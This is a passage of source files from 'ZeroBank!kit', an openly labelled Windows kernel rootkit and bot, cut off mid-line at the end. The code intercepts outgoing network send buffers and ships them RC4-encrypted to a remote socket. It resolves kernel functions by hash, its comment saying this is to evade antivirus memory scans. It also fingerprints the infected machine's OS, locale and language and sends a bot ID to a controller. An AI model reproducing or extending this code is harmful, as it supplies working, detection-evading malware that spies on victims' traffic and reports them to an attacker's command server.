| if (Buffer != NULL) { 14 | __try { 15 | 16 | pSendRequests = (PZEROBANK_FILTER_SEND_REQUESTS)g_Hash._ExAllocatePool(NonPagedPool, sizeof(ZEROBANK_FILTER_SEND_REQUESTS)); 17 | memset(pSendRequests, 0, sizeof(ZEROBANK_FILTER_SEND_REQUESTS)); 18 | 19 | size = g_pStackLocation->Parameters.DeviceIoControl.OutputBufferLength; 20 | 21 | do 22 | { 23 | Alloc = (PCHAR)g_Hash._ExAllocatePool(NonPagedPool, (SIZE_T)size); 24 | 25 | } while (Alloc == NULL); 26 | 27 | memcpy(Alloc, Buffer, size); 28 | memcpy((PVOID)pSendRequests->SendBuffer, (PVOID)Alloc, (SIZE_T)size); 29 | 30 | DbgPrint("\n%s", pSendRequests->SendBuffer); 31 | 32 | g_Hash._KfAcquireSpinLock(&g_globalspinlock); 33 | InsertTailList(&g_send_head->Entry, &pSendRequests->Entry); 34 | g_Hash._KfReleaseSpinLock(&g_globalspinlock, Irql); 35 | 36 | g_send_head->NumberOfEntries++; 37 | 38 | g_Hash._ExFreePoolWithTag(Alloc, 0); 39 | 40 | } 41 | __except (EXCEPTION_EXECUTE_HANDLER) { 42 | return GetExceptionCode(); 43 | KdPrint(("\r\nException Caught in TDI_SEND filter requests")); 44 | } 45 | } 46 | 47 | return g_send_head->NumberOfEntries; 48 | } 49 | 50 | ULONG g_rk_copy_sendlist_to_buffer(IN PZEROBANK_FILTER_SEND_REQUESTS pBuffer, IN PROOTKIT_API_HASH Hash) { 51 | PZEROBANK_FILTER_SEND_REQUESTS pSend = NULL; 52 | ULONG neededsize = 0; 53 | 54 | if (g_send_head == NULL) 55 | return 1; 56 | 57 | Hash->_KfAcquireSpinLock(&g_globalspinlock); 58 | 59 | while (!IsListEmpty(&g_send_head->Entry)) { 60 | pSend = (PZEROBANK_FILTER_SEND_REQUESTS)RemoveTailList(&g_send_head->Entry); 61 | memcpy(pBuffer, pSend, sizeof(ZEROBANK_FILTER_SEND_REQUESTS)); 62 | Hash->_ExFreePoolWithTag(pSend, 0); 63 | pBuffer++; 64 | neededsize++; 65 | 66 | } 67 | 68 | Hash->_KfReleaseSpinLock(&g_globalspinlock, Irql); 69 | 70 | Hash->_ExFreePoolWithTag(g_send_head, 0); 71 | g_send_head = NULL; 72 | 73 | return neededsize*sizeof(ZEROBANK_FILTER_SEND_REQUESTS); 74 | 75 | } 76 | 77 | BOOLEAN g_rk_sendrequests_to_userspace(IN PFILE_OBJECT pSocket, IN PROOTKIT_API_HASH Hash) { 78 | BOOLEAN g_cond = FALSE; 79 | ULONG bytes = 0; 80 | PZEROBANK_FILTER_SEND_REQUESTS pSend = NULL; 81 | PVOID Alloc = NULL; 82 | PMDL Mdl = NULL; 83 | INT sendsize = 0; 84 | INT returnedbytes = 0; 85 | 86 | 87 | bytes = g_send_head->NumberOfEntries*sizeof(ZEROBANK_FILTER_SEND_REQUESTS); 88 | if (bytes == 0) 89 | return FALSE; 90 | 91 | do 92 | { 93 | sendsize = send(pSocket, (PCHAR)&bytes, sizeof(ULONG)); 94 | if (sendsize > 0) 95 | { 96 | Alloc = KiAllocateMappedVirtualMemory(bytes, 'kbot', &Mdl, Hash); 97 | if (Alloc && Hash->_MmIsAddressValid(Alloc) && KiIsMdlAdddressValid(Mdl, Hash) == TRUE) 98 | { 99 | pSend = (PZEROBANK_FILTER_SEND_REQUESTS)Alloc; 100 | if (pSend && Hash->_MmIsAddressValid(pSend)) 101 | { 102 | returnedbytes = g_rk_copy_sendlist_to_buffer(pSend, Hash); 103 | if (returnedbytes > 0) 104 | { 105 | sendsize = tdi_send_crypted(pSocket, RC4_KEY_2,(PVOID)pSend, returnedbytes, 0); 106 | if (sendsize > 0) 107 | { 108 | g_cond = TRUE; 109 | } 110 | } 111 | } 112 | } 113 | } 114 | 115 | } while (FALSE); 116 | 117 | KiFreeMappedVirtualMemory(Alloc, 'kbot', Mdl, Hash); 118 | Alloc = NULL; 119 | 120 | return g_cond; 121 | } -------------------------------------------------------------------------------- /ZeroBank!kit/filtersendrequests.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | typedef struct _ZEROBANK_FILTER_SEND_REQUESTS { 4 | LIST_ENTRY Entry; 5 | CHAR SendBuffer[2048]; 6 | }ZEROBANK_FILTER_SEND_REQUESTS, *PZEROBANK_FILTER_SEND_REQUESTS; 7 | 8 | typedef struct _ZEROBANK_SEND_HEAD { 9 | LIST_ENTRY Entry; 10 | ULONG NumberOfEntries; 11 | }ZEROBANK_SEND_HEAD, *PZEROBANK_SEND_HEAD; 12 | 13 | PZEROBANK_SEND_HEAD g_rk_get_total_send_request(); 14 | ULONG g_rk_copy_sendlist_to_buffer(IN PZEROBANK_FILTER_SEND_REQUESTS pBuffer, IN PROOTKIT_API_HASH Hash); 15 | BOOLEAN g_rk_sendrequests_to_userspace(IN PFILE_OBJECT pSocket, IN PROOTKIT_API_HASH Hash); 16 | extern PZEROBANK_SEND_HEAD g_send_head; 17 | -------------------------------------------------------------------------------- /ZeroBank!kit/hash.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | 4 | ///*////////////////////////////////////////////////// 5 | /// 6 | /// File: Hash.c 7 | /// 8 | /// Associate function address with a hash 9 | /// with the only purpose of bypass av runtime 10 | /// memory scan, since IAT (Import Address Table) 11 | /// will be empty 12 | /// 13 | ///*//////////////////////////////////////////////////// 14 | 15 | 16 | VOID KiLoadFunctions(PROOTKIT_API_HASH Hash) 17 | { 18 | Hash->ntoskrnlexe = NULL; 19 | Hash->HalDll = NULL; 20 | 21 | /// Get NtosKrnl.exe module address 22 | /// and load functions with corresponding hash offset 23 | 24 | 25 | Hash->ntoskrnlexe = KiGetModuleHandle(L"ntoskrnl.exe"); 26 | if (Hash->ntoskrnlexe != NULL) 27 | { 28 | /// Rtl 29 | Hash->_RtlInitUnicodeString = (fnRtlInitUnicodeString)KiResolveAddress(Hash->ntoskrnlexe, HASH_RtlInitUnicodeString); 30 | Hash->_RtlInitAnsiString = (fnRtlInitAnsiString)KiResolveAddress(Hash->ntoskrnlexe, HASH_RtlInitAnsiString); 31 | Hash->_RtlTimeToTimeFields = (fnRtlTimeToTimeFields)KiResolveAddress(Hash->ntoskrnlexe, HASH_RtlTimeToTimeFields); 32 | Hash->_RtlRandomEx = (fnRtlRandomEx)KiResolveAddress(Hash->ntoskrnlexe, HASH_RtlRandomEx); 33 | Hash->_RtlAnsiStringToUnicodeString = (fnRtlAnsiStringToUnicodeString)KiResolveAddress(Hash->ntoskrnlexe, HASH_RtlAnsiStringToUnicodeString); 34 | Hash->_RtlFreeUnicodeString = (fnRtlFreeUnicodeString)KiResolveAddress(Hash->ntoskrnlexe, HASH_RtlFreeUnicodeString); 35 | 36 | /// Io & Iof 37 | 38 | Hash->_IofCallDriver = (fnIofCallDriver)KiResolveAddress(Hash->ntoskrnlexe, HASH_IofCallDriver); 39 | Hash->_IoFreeIrp = (fnIoFreeIrp)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoFreeIrp); 40 | Hash->_IoFreeMdl = (fnIoFreeMdl)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoFreeMdl); 41 | Hash->_IoAllocateMdl = (fnIoAllocateMdl)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoAllocateMdl); 42 | Hash->_IoGetRelatedDeviceObject = (fnIoGetRelatedDeviceObject)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoGetRelatedDeviceObject); 43 | Hash->_IoAllocateIrp = (fnIoAllocateIrp)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoAllocateIrp); 44 | Hash->_IoCreateFileEx = (fnIoCreateFileEx)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoCreateFileEx); 45 | Hash->_IoGetCurrentProcess = (fnIoGetCurrentProcess)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoGetCurrentProcess); 46 | Hash->_IoGetConfigurationInformation = (fnIoGetConfigurationInformation)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoGetConfigurationInformation); 47 | Hash->_IoBuildDeviceIoControlRequest = (fnIoBuildDeviceIoControlRequest)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoBuildDeviceIoControlRequest); 48 | Hash->_IoFileObjectType = (fnIoFileObjectType)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoFileObjectType); 49 | Hash->_IoAttachDevice = (fnIoAttachDevice)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoAttachDevice); 50 | Hash->_IoCreateDevice = (fnIoCreateDevice)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoCreateDevice); 51 | 52 | /// Mm 53 | 54 | Hash->_MmAllocateMappingAddress = (fnMmAllocateMappingAddress)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmAllocateMappingAddress); 55 | Hash->_MmFreeMappingAddress = (fnMmFreeMappingAddress)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmFreeMappingAddress); 56 | Hash->_MmIsAddressValid = (fnMmIsAddressValid)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmIsAddressValid); 57 | Hash->_MmAllocatePagesForMdlEx = (fnMmAllocatePagesForMdlEx)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmAllocatePagesForMdlEx); 58 | Hash->_MmFreePagesFromMdl = (fnMmFreePagesFromMdl)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmFreePagesFromMdl); 59 | Hash->_MmMapLockedPagesWithReservedMapping = (fnMmMapLockedPagesWithReservedMapping)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmMapLockedPagesWithReservedMapping); 60 | Hash->_MmUnmapReservedMapping = (fnMmUnmapReservedMapping)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmUnmapReservedMapping); 61 | Hash->_MmProbeAndLockPages = (fnMmProbeAndLockPages)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmProbeAndLockPages); 62 | Hash->_MmUnlockPages = (fnMmUnlockPages)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmUnlockPages); 63 | Hash->_MmMapLockedPagesSpecifyCache = (fnMmMapLockedPagesSpecifyCache)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmMapLockedPagesSpecifyCache); 64 | Hash->_MmUnmapLockedPages = (fnMmUnmapLockedPages)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmUnmapLockedPages); 65 | Hash->_MmIsThisAnNtAsSystem = (fnMmIsThisAnNtAsSystem)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmIsThisNtAsSystem); 66 | Hash->_MmBuildMdlForNonPagedPool = (fnMmBuildMdlForNonPagedPool)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmBuildMdlForNonPagedPool); 67 | Hash->_MmGetSystemRoutineAddress = (fnMmGetSystemRoutineAddress)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmGetSystemRoutineAddress); 68 | 69 | /// Ob 70 | 71 | Hash->_ObReferenceObjectByHandle = (fnObReferenceObjectByHandle)KiResolveAddress(Hash->ntoskrnlexe, HASH_ObReferenceObjectByHandle); 72 | Hash->_ObfDereferenceObject = (fnObfDereferenceObject)KiResolveAddress(Hash->ntoskrnlexe, HASH_ObfDereferenceObject); 73 | Hash->_ObOpenObjectByPointer = (fnObOpenObjectByPointer)KiResolveAddress(Hash->ntoskrnlexe, HASH_ObOpenObjectByPointer); 74 | 75 | /// Ps 76 | 77 | Hash->_PsCreateSystemThread = (fnPsCreateSystemThread)KiResolveAddress(Hash->ntoskrnlexe, HASH_PsCreateSystemThread); 78 | Hash->_PsLookupProcessByProcessId = (fnPsLookupProcessByProcessId)KiResolveAddress(Hash->ntoskrnlexe, HASH_PsLookupProcessByProcessId); 79 | Hash->_PsGetVersion = (fnPsGetVersion)KiResolveAddress(Hash->ntoskrnlexe, HASH_PsGetVersion); 80 | Hash->_PsTerminateSystemThread = (fnPsTerminateSystemThread)KiResolveAddress(Hash->ntoskrnlexe, HASH_PsTerminateSystemThread); 81 | Hash->_PsGetThreadId = (fnPsGetThreadId)KiResolveAddress(Hash->ntoskrnlexe, HASH_PsGetThreadId); 82 | Hash->_PsIsProtectedProcess = (fnPsIsProtectedProcess)KiResolveAddress(Hash->ntoskrnlexe, HASH_PsIsProtectedProcess); 83 | Hash->_PsProcessType = (fnPsProcessType)KiResolveAddress(Hash->ntoskrnlexe, HASH_PsProcessType); 84 | 85 | /// Kz & Ke 86 | 87 | Hash->_KeInitializeEvent = (fnKeInitializeEvent)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeInitializeEvent); 88 | Hash->_KeWaitForSingleObject = (fnKeWaitForSingleObject)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeWaitForSingleObject); 89 | Hash->_KeSetEvent = (fnKeSetEvent)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeSetEvent); 90 | Hash->_KeResetEvent = (fnKeResetEvent)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeResetEvent); 91 | Hash->_KeClearEvent = (fnKeClearEvent)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeClearEvent); 92 | Hash->_KeStackAttachProcess = (fnKeStackAttachProcess)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeStackAttachProcess); 93 | Hash->_KeUnstackDetachProcess = (fnKeUnstackDetachProcess)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeUnstackDetachProcess); 94 | Hash->_KeQueryActiveGroupCount = (fnKeQueryActiveGroupCount)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeQueryActiveGroupCount); 95 | Hash->_KeQueryActiveProcessorCount = (fnKeQueryActiveProcessorCount)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeQueryActiveProcessorCount); 96 | Hash->_KeQueryActiveProcessors = (fnKeQueryActiveProcessors)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeQueryActiveProcessors); 97 | Hash->_KeQueryInterruptTime = (fnKeQueryInterruptTime)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeQueryInterruptTime); 98 | Hash->_KeQueryMaximumProcessorCount = (fnKeQueryMaximumProcessorCount)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeQueryMaximumProcessorCount); 99 | Hash->_KeAcquireGuardedMutex = (fnKeAcquireGuardedMutex)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeAcquireGuardedMutex); 100 | Hash->_KeReleaseGuardedMutex = (fnKeReleaseGuardedMutex)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeReleaseGuardedMutex); 101 | Hash->_KeInitializeGuardedMutex = (fnKeInitializeGuardedMutex)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeInitializeGuardedMutex); 102 | Hash->_KeGetCurrentThread = (fnKeGetCurrentThread)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeGetCurrentThread); 103 | 104 | /// Ex 105 | 106 | Hash->_ExAllocatePool = (fnExAllocatePool)KiResolveAddress(Hash->ntoskrnlexe, HASH_ExAllocatePool); 107 | Hash->_ExAllocatePoolWithTag = (fnExAllocatePoolWithTag)KiResolveAddress(Hash->ntoskrnlexe, HASH_ExAllocatePoolWithTag); 108 | Hash->_ExFreePoolWithTag = (fnExFreePoolWithTag)KiResolveAddress(Hash->ntoskrnlexe, HASH_ExFreePoolWithTag); 109 | Hash->_ExAcquireRundownProtection = (fnExAcquireRundownProtection)KiResolveAddress(Hash->ntoskrnlexe, HASH_ExAcquireRundownProtection); 110 | Hash->_ExReleaseRundownProtection = (fnExReleaseRundownProtection)KiResolveAddress(Hash->ntoskrnlexe, HASH_ExReleaseRundownProtection); 111 | 112 | /// Other 113 | 114 | Hash->_ZwQueryVolumeInformationFile = (fnZwQueryVolumeInformationFile)KiResolveAddress(Hash->ntoskrnlexe, HASH_ZwQueryVolumeInformationFile); 115 | Hash->_ZwQueryDefaultLocale = (fnZwQueryDefaultLocale)KiResolveAddress(Hash->ntoskrnlexe, HASH_ZwQueryDefaultLocale); 116 | Hash->_ZwQueryDefaultUILanguage = (fnZwQueryDefaultUILanguage)KiResolveAddress(Hash->ntoskrnlexe, HASH_ZwQueryDefaultUILanguage); 117 | Hash->_ZwOpenFile = (fnZwOpenFile)KiResolveAddress(Hash->ntoskrnlexe, HASH_ZwOpenFile); 118 | Hash->_ZwQuerySystemInformation = (fnZwQuerySystemInformation)KiResolveAddress(Hash->ntoskrnlexe, HASH_ZwQuerySystemInformation); 119 | Hash->_sprintf_s = (fnsprintf_s)KiResolveAddress(Hash->ntoskrnlexe, HASH_sprintf_s); 120 | Hash->_strlen = (fnstrlen)KiResolveAddress(Hash->ntoskrnlexe, HASH_strlen); 121 | Hash->_strcat = (fnstrcat)KiResolveAddress(Hash->ntoskrnlexe, HASH_strcat); 122 | Hash->_ZwOpenProcess = (fnZwOpenProcess)KiResolveAddress(Hash->ntoskrnlexe, HASH_ZwOpenProcess); 123 | Hash->_strcpy_s = (fnstrcpy_s)KiResolveAddress(Hash->ntoskrnlexe, HASH_strcpy_s); 124 | Hash->_memset = (fnmemset)KiResolveAddress(Hash->ntoskrnlexe, HASH_memset); 125 | } 126 | 127 | /// Get Hal.dll module address 128 | 129 | Hash->HalDll = KiGetModuleHandle(L"hal.dll"); 130 | if (Hash->HalDll != NULL) 131 | { 132 | /// Ke & Kf 133 | 134 | Hash->_KfAcquireSpinLock = (fnKfAcquireSpinLock)KiResolveAddress(Hash->HalDll, HASH_KfAcquireSpinLock); 135 | Hash->_KfReleaseSpinLock = (fnKfReleaseSpinLock)KiResolveAddress(Hash->HalDll, HASH_KfReleaseSpinLock); 136 | Hash->_KfRaiseIrql = (fnKfRaiseIrql)KiResolveAddress(Hash->HalDll, HASH_KfRaiseIrql); 137 | Hash->_KeReleaseInStackQueuedSpinLock = (fnKeReleaseInStackQueuedSpinLock)KiResolveAddress(Hash->HalDll, HASH_KeReleaseInStackQueuedSpinLock); 138 | } 139 | 140 | } 141 | 142 | PVOID KiGetModuleHandle(IN PWCHAR ModuleName) 143 | { 144 | PLDR_DATA_TABLE_ENTRY pDataTable = NULL; 145 | PLDR_DATA_TABLE_ENTRY Buffer = NULL; 146 | PLIST_ENTRY List = NULL; 147 | PVOID ModuleBaseAddress = NULL; 148 | UNICODE_STRING unicode = {0}; 149 | SIZE_T destsize; 150 | 151 | _InitUnicodeString(&unicode, ModuleName); 152 | 153 | pDataTable = (PLDR_DATA_TABLE_ENTRY)g_pDriverObject->DriverSection; 154 | if (!pDataTable) 155 | return NULL; 156 | 157 | List = pDataTable->InLoadOrderLinks.Flink; 158 | 159 | while (List != &pDataTable->InLoadOrderLinks) 160 | { 161 | 162 | Buffer = (PLDR_DATA_TABLE_ENTRY)List; 163 | 164 | if (CompareUnicodeString(&Buffer->BaseDllName, &unicode,TRUE) == 0x00) 165 | { 166 | ModuleBaseAddress = Buffer->DllBase; 167 | break; 168 | } 169 | 170 | List = List->Flink; 171 | } 172 | 173 | return ModuleBaseAddress; 174 | } 175 | 176 | PVOID KiGetProcAddress(IN PVOID ModuleBase, IN ULONG Hash, IN ULONG Data) 177 | { 178 | PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)ModuleBase; 179 | if (ImageDosHeader->e_magic == IMAGE_DOS_SIGNATURE) 180 | { 181 | PIMAGE_NT_HEADERS ImageNtHeaders = ((PIMAGE_NT_HEADERS)(RtlOffsetToPointer(ModuleBase, ImageDosHeader->e_lfanew))); 182 | if (ImageNtHeaders->Signature == IMAGE_NT_SIGNATURE) 183 | { 184 | if (ImageNtHeaders->OptionalHeader.DataDirectory[Data].VirtualAddress && Data < ImageNtHeaders->OptionalHeader.NumberOfRvaAndSizes) { 185 | PIMAGE_EXPORT_DIRECTORY ImageExport = (((PIMAGE_EXPORT_DIRECTORY)(PUCHAR)RtlOffsetToPointer(ModuleBase, ImageNtHeaders->OptionalHeader.DataDirectory[Data].VirtualAddress))); 186 | if (ImageExport) 187 | { 188 | PULONG AddressOfNames = ((PULONG)RtlOffsetToPointer(ModuleBase, ImageExport->AddressOfNames)); 189 | for (ULONG n = 0; n < ImageExport->NumberOfNames; ++n) 190 | { 191 | LPSTR Func = ((LPSTR)RtlOffsetToPointer(ModuleBase, AddressOfNames[n])); 192 | if (KiCryptoHash(Func) == Hash) 193 | { 194 | PULONG AddressOfFunctions = ((PULONG)RtlOffsetToPointer(ModuleBase, ImageExport->AddressOfFunctions)); 195 | PUSHORT AddressOfOrdinals = ((PUSHORT)RtlOffsetToPointer(ModuleBase, ImageExport->AddressOfNameOrdinals)); 196 | 197 | return ((PVOID)RtlOffsetToPointer(ModuleBase, AddressOfFunctions[AddressOfOrdinals[n]])); 198 | 199 | } 200 | } 201 | } 202 | } 203 | } 204 | } 205 | return NULL; 206 | } 207 | 208 | PVOID KiResolveAddress(IN PVOID ModuleBase, IN ULONG Hash) 209 | { 210 | return KiGetProcAddress(ModuleBase, Hash, 0); 211 | } 212 | 213 | UINT32 KiCryptoHash(IN PCHAR Input) 214 | { 215 | INT Counter = NULL; 216 | UINT32 Hash = 0, N = 0; 217 | while ((Counter = *Input++)) 218 | { 219 | Hash ^= ((N++ & 1) == NULL) ? ((Hash << 5) ^ Counter ^ (Hash >> 1)) : 220 | (~((Hash << 9) ^ Counter ^ (Hash >> 3))); 221 | } 222 | 223 | return (Hash & 0x7FFFFFFF); 224 | } -------------------------------------------------------------------------------- /ZeroBank!kit/header.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | char *querylocation(char *buffer, IN PROOTKIT_API_HASH Hash) 4 | { 5 | NTSTATUS st; 6 | LCID cid = 0; 7 | 8 | st = Hash->_ZwQueryDefaultLocale(FALSE, &cid); 9 | if (NT_SUCCESS(st)) 10 | { 11 | switch (cid) 12 | { 13 | case 2052: 14 | kistrcpy(buffer, "Chinese-Simplified"); 15 | break; 16 | case 1028: 17 | kistrcpy(buffer, "Chinese-Traditional"); 18 | break; 19 | case 1040: 20 | kistrcpy(buffer, "Italian"); 21 | break; 22 | case 1036: 23 | kistrcpy(buffer, "French"); 24 | break; 25 | case 1041: 26 | kistrcpy(buffer, "Japanese"); 27 | break; 28 | case 1042: 29 | kistrcpy(buffer, "Korean"); 30 | break; 31 | case 1033: 32 | kistrcpy(buffer, "English"); 33 | break; 34 | case 3082: 35 | kistrcpy(buffer, "Spanish"); 36 | break; 37 | 38 | default: 39 | break; 40 | } 41 | } 42 | 43 | return buffer; 44 | } 45 | 46 | char *querylanguage(char *buffer, IN PROOTKIT_API_HASH Hash) 47 | { 48 | NTSTATUS st; 49 | LANGID id = 0; 50 | 51 | st = Hash->_ZwQueryDefaultUILanguage(&id); 52 | if (NT_SUCCESS(st)) 53 | { 54 | switch (id) 55 | { 56 | case 1025: 57 | kistrcpy(buffer, "Arabic"); 58 | break; 59 | case 1028: 60 | kistrcpy(buffer, "Chinese-Traditional"); 61 | break; 62 | case 1029: 63 | kistrcpy(buffer, "Czech"); 64 | break; 65 | case 1030: 66 | kistrcpy(buffer, "Danish"); 67 | break; 68 | case 1031: 69 | kistrcpy(buffer, "German"); 70 | break; 71 | case 1032: 72 | kistrcpy(buffer, "Greek"); 73 | break; 74 | case 1033: 75 | kistrcpy(buffer, "English"); 76 | break; 77 | case 1034: 78 | kistrcpy(buffer, "Spanish"); 79 | break; 80 | case 1035: 81 | kistrcpy(buffer, "Finnish"); 82 | break; 83 | case 1036: 84 | kistrcpy(buffer, "French"); 85 | break; 86 | case 1037: 87 | kistrcpy(buffer, "Hebrew"); 88 | break; 89 | case 1038: 90 | kistrcpy(buffer, "Hungarian"); 91 | break; 92 | case 1040: 93 | kistrcpy(buffer, "Italian"); 94 | break; 95 | case 1041: 96 | kistrcpy(buffer, "Japanese"); 97 | break; 98 | case 1042: 99 | kistrcpy(buffer, "Korean"); 100 | break; 101 | case 1043: 102 | kistrcpy(buffer, "Dutch"); 103 | break; 104 | case 1044: 105 | kistrcpy(buffer, "Norwegian"); 106 | break; 107 | case 1045: 108 | kistrcpy(buffer, "Polish"); 109 | break; 110 | case 1046: 111 | kistrcpy(buffer, "Portuguese-Brazilian"); 112 | break; 113 | case 1049: 114 | kistrcpy(buffer, "Russsian"); 115 | break; 116 | case 1053: 117 | kistrcpy(buffer, "Swedish"); 118 | break; 119 | case 1054: 120 | kistrcpy(buffer, "Thai"); 121 | break; 122 | case 1055: 123 | kistrcpy(buffer, "Turkish"); 124 | break; 125 | case 2052: 126 | kistrcpy(buffer, "Chinese-Simplified"); 127 | break; 128 | case 2070: 129 | kistrcpy(buffer, "Portuguese"); 130 | break; 131 | case 3076: 132 | kistrcpy(buffer, "Chinese-Hong Kong SAR"); 133 | break; 134 | default: 135 | break; 136 | } 137 | } 138 | 139 | return buffer; 140 | 141 | } 142 | 143 | 144 | BOOLEAN zerobank_bot_header(IN PFILE_OBJECT socket, IN PROOTKIT_API_HASH Hash) 145 | { 146 | ZEROBANK_BOT_HEADER rkbot = { 0 }; 147 | ULONG mj, mn, build; 148 | FILE_FS_VOLUME_INFORMATION volinfo = { 0 }; 149 | HANDLE volhandle; 150 | IO_STATUS_BLOCK io = { 0 }; 151 | OBJECT_ATTRIBUTES oa = { 0 }; 152 | UNICODE_STRING ustr1 = RTL_CONSTANT_STRING(L"\\SystemRoot"); 153 | NTSTATUS st; 154 | INT sendsize = 0; 155 | BOOLEAN ret; 156 | UUID guid = { 0 }; 157 | MD5Context ctx = { 0 }; 158 | rc4_ctx rc4ctx = { 0 }; 159 | unsigned char md5_digest[16]; 160 | unsigned long seed = 0; 161 | 162 | // get bot Windows version 163 | 164 | Hash->_PsGetVersion(&mj, &mn, &build, NULL); 165 | switch (mn) 166 | { 167 | case 1: 168 | kistrcpy(rkbot.Os, "Windows 7"); 169 | break; 170 | case 2: 171 | kistrcpy(rkbot.Os, "Windows 8"); 172 | break; 173 | case 3: 174 | kistrcpy(rkbot.Os, "Windows 8.1"); 175 | break; 176 | case 0: 177 | kistrcpy(rkbot.Os, "Windows 10"); 178 | break; 179 | default: 180 | break; 181 | } 182 | 183 | #ifndef _WIN64 184 | kistrcpy(rkbot.Arch, "x86"); 185 | #else 186 | kistrcpy(rkbot.Arch, "x64"); 187 | #endif 188 | 189 | 190 | if (Hash->_MmIsThisAnNtAsSystem() == TRUE) 191 | rkbot.IsNtServer = TRUE; 192 | else 193 | rkbot.IsNtServer = FALSE; 194 | 195 | querylocation(rkbot.Locale, Hash); 196 | querylanguage(rkbot.lang, Hash); 197 | 198 | rkbot.Build = build; 199 | rkbot.majorver = mj; 200 | rkbot.minorver = mn; 201 | 202 | InitializeObjectAttributes(&oa, &ustr1, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); 203 | st = Hash->_ZwOpenFile(&volhandle, FILE_GENERIC_READ, &oa, &io, FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT); 204 | if (NT_SUCCESS(st)) 205 | { 206 | 207 | st = Hash->_ZwQueryVolumeInformationFile(volhandle, &io, &volinfo, sizeof(FILE_FS_VOLUME_INFORMATION), FileFsVolumeInformation); 208 | if (NT_SUCCESS(st)) 209 | { 210 | 211 | seed = (volinfo.VolumeCreationTime.LowPart) ^ (volinfo.VolumeCreationTime.HighPart); 212 | 213 | __try 214 | { 215 | MD5Init(&ctx); 216 | MD5Update(&ctx, (const unsigned char*)&seed, sizeof(ULONG)); 217 | MD5Final(md5_digest, &ctx); 218 | 219 | kimemcpy(&guid, md5_digest, 16); 220 | 221 | Hash->_sprintf_s(rkbot.BotId, 255, "%04x-%04x-%04x", guid.Data1, guid.Data2, guid.Data3); 222 | 223 | kistrcpy(g_idpath, rkbot.BotId); 224 | 225 | } 226 | __except (EXCEPTION_EXECUTE_HANDLER) 227 | { 228 | return GetExceptionCode(); 229 | } 230 | 231 | sendsize = tdi_send_crypted(socket, RC4_KEY_1, (PZEROBANK_BOT_HEADER)&rkbot, sizeof(ZEROBANK_BOT_HEADER), 0); 232 | if (sendsize <= 0) 233 | ret = FALSE; 234 | else 235 | ret = TRUE; 236 | 237 | } 238 | #ifndef _WIN64 239 | ObpCloseHandle(volhandle, KernelMode); 240 | #else 241 | ZwClose(volhandle); 242 | #endif 243 | } 244 | 245 | return ret; 246 | 247 | } -------------------------------------------------------------------------------- /ZeroBank!kit/header.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | char *querylocation(char *buffer, IN PROOTKIT_API_HASH Hash); 4 | char *querylanguage(char *buffer, IN PROOTKIT_API_HASH Hash); 5 | 6 | BOOLEAN zerobank_bot_header(IN PFILE_OBJECT socket, IN PROOTKIT_API_HASH Hash); -------------------------------------------------------------------------------- /ZeroBank!kit/info.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | /*/////////////////////////////////////// 4 | // 5 | // File: info.c 6 | // 7 | // Gather bot system information 8 | // 9 | // 10 | *//////////////////////////////////////// 11 | 12 | NTSTATUS rk_send_sys_information_to_userspace(IN PFILE_OBJECT SocketObject, IN PROOTKIT_API_HASH Hash) 13 | { 14 | NTSTATUS st = STATUS_SUCCESS; 15 | ROOTKIT_SYS_INFORMATION sysinfo = { 0 }; 16 | INT sendsize = 0; 17 | PCONFIGURATION_INFORMATION configinformation = NULL; 18 | 19 | // BASIC CONFIGURATION INFORMATION 20 | 21 | configinformation = Hash->_IoGetConfigurationInformation(); 22 | 23 | sysinfo.NumberOfCdRoms = configinformation->CdRomCount; 24 | sysinfo.NumberOfDisks = configinformation->DiskCount; 25 | sysinfo.NumberOfFloppies = configinformation->FloppyCount; 26 | sysinfo.NumberOfParallelPorts = configinformation->ParallelCount; 27 | sysinfo.NumberOfSerialPorts = configinformation->SerialCount; 28 | sysinfo.ScsiCount = 